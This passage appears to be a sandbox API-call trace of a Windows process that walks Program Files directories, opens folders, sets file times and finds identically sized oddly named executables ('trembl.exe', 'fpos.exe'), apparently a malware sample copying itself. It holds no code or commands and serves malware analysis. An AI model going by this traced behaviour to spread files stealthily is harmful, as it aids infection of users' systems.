BaseAddress=0x943840) returned 1 [0245.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943840 [0245.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934f30 [0245.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93f540 [0245.536] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943840) returned 1 [0245.536] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="")) returned 0 [0245.536] GetLastError () returned 0x12 [0245.536] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0245.536] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.536] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.536] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0245.536] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="")) returned 1 [0245.536] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="")) returned 0 [0245.536] GetLastError () returned 0x12 [0245.536] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93f228) returned 1 [0245.536] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0245.536] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93f330) returned 1 [0245.536] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93f120) returned 1 [0245.536] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0245.536] GetLastError () returned 0x12 [0245.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93e7d8) returned 1 [0245.537] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0245.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93e6d0) returned 1 [0245.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93e5c8) returned 1 [0245.537] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="")) returned 0 [0245.537] GetLastError () returned 0x12 [0245.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9437b8) returned 1 [0245.537] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0245.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9436a8) returned 1 [0245.537] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0245.537] GetLastError () returned 0x12 [0245.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943620) returned 1 [0245.537] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0245.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943598) returned 1 [0245.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0245.537] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76844de0, ftCreationTime.dwHighDateTime=0x1d55f8c, ftLastAccessTime.dwLowDateTime=0x2e479d80, ftLastAccessTime.dwHighDateTime=0x1d5b64d, ftLastWriteTime.dwLowDateTime=0x2e479d80, ftLastWriteTime.dwHighDateTime=0x1d5b64d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trembl.exe", cAlternateFileName="")) returned 1 [0245.537] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76844de0, ftCreationTime.dwHighDateTime=0x1d55f8c, ftLastAccessTime.dwLowDateTime=0x2e479d80, ftLastAccessTime.dwHighDateTime=0x1d5b64d, ftLastWriteTime.dwLowDateTime=0x2e479d80, ftLastWriteTime.dwHighDateTime=0x1d5b64d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trembl.exe", cAlternateFileName="")) returned 0 [0245.537] GetLastError () returned 0x12 [0245.538] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0245.538] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0245.538] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0245.538] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0245.538] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="")) returned 1 [0245.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0245.538] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office" (normalized: "c:\\program files\\microsoft office"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0245.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office" (normalized: "c:\\program files\\microsoft office"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0245.538] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0245.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x945470 [0245.538] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x945470, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x945470, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0245.538] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x945470) returned 1 [0245.538] NtClose (Handle=0x1b4) returned 0x0 [0245.538] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0245.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0245.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0245.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0245.539] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5a0 [0245.539] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25131470, ftCreationTime.dwHighDateTime=0x1d598ce, ftLastAccessTime.dwLowDateTime=0x6309b1d0, ftLastAccessTime.dwHighDateTime=0x1d57f3d, ftLastWriteTime.dwLowDateTime=0x6309b1d0, ftLastWriteTime.dwHighDateTime=0x1d57f3d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpos.exe", cAlternateFileName="")) returned 1 [0245.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943510 [0245.539] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0245.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943510 [0245.539] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0245.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943510 [0245.539] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 0 [0245.539] GetLastError () returned 0x12 [0245.539] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd620 [0245.539] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0245.539] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.540] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0245.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943510 [0245.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART" (normalized: "c:\\program files\\microsoft office\\clipart"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART" (normalized: "c:\\program files\\microsoft office\\clipart"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0245.561] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0245.561] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x945470 [0245.561] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x945470, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x945470, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0245.561] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x945470) returned 1 [0245.561] NtClose (Handle=0x1b4) returned 0x0 [0245.562] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943510) returned 1 [0245.562] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943510 [0245.562] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943598 [0245.562] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943620 [0245.562] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0245.562] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="")) returned 0 [0245.562] GetLastError () returned 0x12 [0245.562] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd660 [0245.562] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0245.562] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9436a8 [0245.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0245.563] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0245.563] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x945470 [0245.563] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x945470, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x945470, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0245.563] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x945470) returned 1 [0245.563] NtClose (Handle=0x1b4) returned 0x0 [0245.563] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9436a8) returned 1 [0245.563] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9436a8 [0245.563] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9437b8 [0245.563] RtlAllocateHeap (HeapHandle=0x4a0000, 